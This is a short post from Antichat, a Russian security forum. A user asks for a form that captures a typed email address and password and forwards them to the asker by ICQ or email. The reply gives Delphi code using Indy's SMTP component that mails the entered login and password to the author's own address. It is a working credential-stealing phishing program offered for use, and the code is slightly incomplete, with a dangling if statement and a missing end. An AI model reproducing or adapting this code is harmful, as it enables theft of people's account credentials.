ANTICHAT — форум по информационной безопасности, OSINT и технологиям

двe edit на форме:
мыло, пасс.
И что бы после ввода скидывало на аську ил хотябы на мыло введённые данные

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
IdMessageClient, IdSMTP, StdCtrls, idMessage, IdEMailAddress, ExtCtrls,
wininet, XPMan, ComCtrls;


procedure TForm1.BtStartClick(Sender: TObject);
var
M: TIdMessage;
begin
M := TIdMessage.Create(Form1);
M.Body.Add(edit1.Text); //тут введенное мыло
M.Body.Add(edit2.Text); // тут введенный пароль
M.From.Text := '<Твое мыло>'; //отправитель
M.Recipients.Add;
M.Recipients.Items[0].Text := '<Твое мыло>'; //Получатель
M.Subject := 'Тема'; //Тема письма

IdSMTP1.AuthenticationType := atLogin;
if ComboBox1.Text='@mail.ru' then

IdSMTP1.Username := 'Твой логин';
IdSMTP1.Password := 'Твой пароль';
try
IdSMTP1.Connect();
if IdSMTP1.Connected then
begin
IdSMTP1.Send(M);
end;
IdSMTP1.Disconnect;

except end;